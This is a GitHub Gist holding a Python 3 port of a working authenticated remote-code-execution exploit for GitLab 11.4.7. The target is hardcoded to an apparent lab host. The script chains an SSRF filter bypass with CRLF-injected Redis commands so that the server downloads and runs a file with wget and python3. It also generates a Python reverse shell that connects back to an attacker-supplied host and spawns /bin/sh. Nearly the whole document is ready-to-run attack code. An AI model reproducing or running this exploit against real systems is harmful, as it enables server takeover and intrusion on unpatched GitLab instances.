Created
January 3, 2021 22:16
-
-
Save AliceGrey/97b3f382a43b4ca88708355ea0ce1a18 to your computer and use it in GitHub Desktop.
Python3 Gitlab 11.4.7 - Remote Code Execution
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Exploit Title: GitLab 11.4.7 Authenticated Remote Code Execution | |
# Date: January 3rd 20201 | |
# Exploit Author: Mohin Paramasivam (Shad0wQu35t) - Converted to Python3 by AliceGrey | |
# Software Link: https://about.gitlab.com/ | |
# POC: https://liveoverflow.com/gitlab-11-4-7-remote-code-execution-real-world-ctf-2018/ | |
# Tested on: GitLab 11.4.7 CE | |
# CVE : CVE-2018-19571 (SSRF),CVE-2018-19585 (CRLF) | |
import requests | |
import re | |
import warnings | |
from bs4 import BeautifulSoup | |
import sys | |
import base64 | |
import urllib.request, urllib.parse, urllib.error | |
from random_words import RandomWords | |
import argparse | |
import os | |
import time | |
parser = argparse.ArgumentParser(description='GitLab 11.4.7 Authenticated RCE') | |
parser.add_argument('-U',help='GitLab Username') | |
parser.add_argument('-P',help='Gitlab Password') | |
parser.add_argument('-l',help='rev shell lhost') | |
parser.add_argument('-p',help='rev shell lport ',type=int) | |
args = parser.parse_args() | |
username = args.U | |
password = args.P | |
lhost = args.l | |
lport = args.p | |
#Retrieve CSRF Token | |
warnings.filterwarnings("ignore", category=UserWarning, module='bs4') | |
gitlab_url = "http://10.10.10.220:5080" | |
request = requests.Session() | |
print("[+] Retrieving CSRF token to submit the login form") | |
time.sleep(1) | |
page = request.get(gitlab_url+"/users/sign_in") | |
html_content = page.text | |
soup = BeautifulSoup(html_content,features="lxml") | |
token = soup.findAll('meta')[16].get("content") | |
print(("[+] CSRF Token : "+token)) | |
time.sleep(1) | |
#Login | |
login_info ={ | |
"authenticity_token": token, | |
"user[login]": username, | |
"user[password]": password, | |
"user[remember_me]": "0" | |
} | |
login_request = request.post(gitlab_url+"/users/sign_in",login_info) | |
if login_request.status_code==200: | |
print("[+] Login Successful") | |
time.sleep(1) | |
else: | |
print("Login Failed") | |
print(" ") | |
sys.exit() | |
#Exploitation | |
print("[+] Running Exploit") | |
time.sleep(1) | |
print("[+] Using IPV6 URL 'git://[0:0:0:0:0:ffff:127.0.0.1]:6379/test/ssrf.git' to bypass filter") | |
time.sleep(1) | |
ipv6_url = "git%3A%2F%2F%5B0%3A0%3A0%3A0%3A0%3Affff%3A127.0.0.1%5D%3A6379%2Ftest%2Fssrf.git" | |
r = RandomWords() | |
project_name = r.random_word() | |
project_url = '%s/%s/'%(gitlab_url,username) | |
print("[+] Creating Project") | |
time.sleep(1) | |
print(("[+] Project Name : "+project_name)) | |
time.sleep(1) | |
print("[+] Creating Python Reverse Shell") | |
time.sleep(1) | |
python_shell = 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%s));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'%(lhost,lport) | |
os.system("touch shell.py") | |
shell_file = open("shell.py","w") | |
shell_file.write(python_shell) | |
shell_file.close() | |
print("[+] Reverse Shell Generated") | |
time.sleep(1) | |
print("[+] Start HTTP Server in current directory") | |
print("Command : python3 -m http.server 80") | |
time.sleep(2) | |
http_server = input("Continue (Y/N) : ") | |
if (http_server=="N") or (http_server=="n"): | |
print("Start HTTP Server before running exploit") | |
elif (http_server=="Y") or (http_server=="y"): | |
print("Run this script twice with options below to get SHELL!") | |
print("") | |
print("Option 1 : Download shell.py rev shell to server using wget") | |
print("Option 2 : Execute shell.py downloaded previously") | |
option = input("Option (1/2) : ") | |
if option=="1": | |
reverse_shell= """\nmulti | |
sadd resque:gitlab:queues system_hook_push | |
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid wget http://%s/shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}" | |
exec | |
exec | |
exec\n""" %(lhost) | |
project_page = request.get(gitlab_url+"/projects/new") | |
html_content = project_page.text | |
soup = BeautifulSoup(html_content,features="lxml") | |
project_token = soup.findAll('meta')[16].get("content") | |
namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value') | |
urlencoded_token1 = project_token.replace("==","%3D%3D") | |
urlencoded_token_final = urlencoded_token1.replace("+","%2B") | |
payload="utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name) | |
proxies = { | |
"http" : "http://127.0.0.1:8080", | |
"https" : "https://127.0.0.1:8080", | |
} | |
cookies = { | |
'sidebar_collapsed': 'false', | |
'event_filter': 'all', | |
'hide_auto_devops_implicitly_enabled_banner_1': 'false', | |
'_gitlab_session':request.cookies['_gitlab_session'], | |
} | |
headers = { | |
'Host': '10.10.10.220:5080', | |
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', | |
'Accept-Language': 'en-US,en;q=0.5', | |
'Accept-Encoding': 'gzip, deflate', | |
'Referer': 'http://10.10.10.220:5080/projects', | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Content-Length': '398', | |
'Connection': 'close', | |
'Upgrade-Insecure-Requests': '1', | |
} | |
#response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False) | |
response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False) | |
print("[+] Success!") | |
time.sleep(1) | |
print("[+] Run Exploit with Option 2") | |
elif option=="2": | |
reverse_shell= """\nmulti | |
sadd resque:gitlab:queues system_hook_push | |
lpush resque:gitlab:queue:system_hook_push "{\\"class\\":\\"GitlabShellWorker\\",\\"args\\":[\\"class_eval\\",\\"open(\\'|setsid python3 shell.py \\').read\\"],\\"retry\\":3,\\"queue\\":\\"system_hook_push\\",\\"jid\\":\\"ad52abc5641173e217eb2e52\\",\\"created_at\\":1513714403.8122594,\\"enqueued_at\\":1513714403.8129568}" | |
exec | |
exec | |
exec\n""" | |
project_page = request.get(gitlab_url+"/projects/new") | |
html_content = project_page.text | |
soup = BeautifulSoup(html_content,features="lxml") | |
project_token = soup.findAll('meta')[16].get("content") | |
namespace_id = soup.find('input', {'name': 'project[namespace_id]'}).get('value') | |
urlencoded_token1 = project_token.replace("==","%3D%3D") | |
urlencoded_token_final = urlencoded_token1.replace("+","%2B") | |
payload="utf8=%E2%9C%93&authenticity_token={}&project%5Bimport_url%5D={}{}&project%5Bci_cd_only%5D=false&project%5Bname%5D={}&project%5Bnamespace_id%5D={}&project%5Bpath%5D={}&project%5Bdescription%5D=&project%5Bvisibility_level%5D=0".format(urlencoded_token_final,ipv6_url,reverse_shell,project_name,namespace_id,project_name) | |
proxies = { | |
"http" : "http://127.0.0.1:8080", | |
"https" : "https://127.0.0.1:8080", | |
} | |
cookies = { | |
'sidebar_collapsed': 'false', | |
'event_filter': 'all', | |
'hide_auto_devops_implicitly_enabled_banner_1': 'false', | |
'_gitlab_session':request.cookies['_gitlab_session'], | |
} | |
headers = { | |
'Host': '10.10.10.220:5080', | |
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0', | |
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8', | |
'Accept-Language': 'en-US,en;q=0.5', | |
'Accept-Encoding': 'gzip, deflate', | |
'Referer': 'http://10.10.10.220:5080/projects', | |
'Content-Type': 'application/x-www-form-urlencoded', | |
'Content-Length': '398', | |
'Connection': 'close', | |
'Upgrade-Insecure-Requests': '1', | |
} | |
#response = request.post('http://10.10.10.220:5080/projects',data=payload,proxies=proxies,cookies=cookies,headers=headers,verify=False) | |
response1 = request.post(gitlab_url+'/projects',data=payload,cookies=cookies,proxies=proxies,headers=headers,verify=False) | |
print("[+] Success!") | |
time.sleep(1) | |
print("[+] Spawning Reverse Shell") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment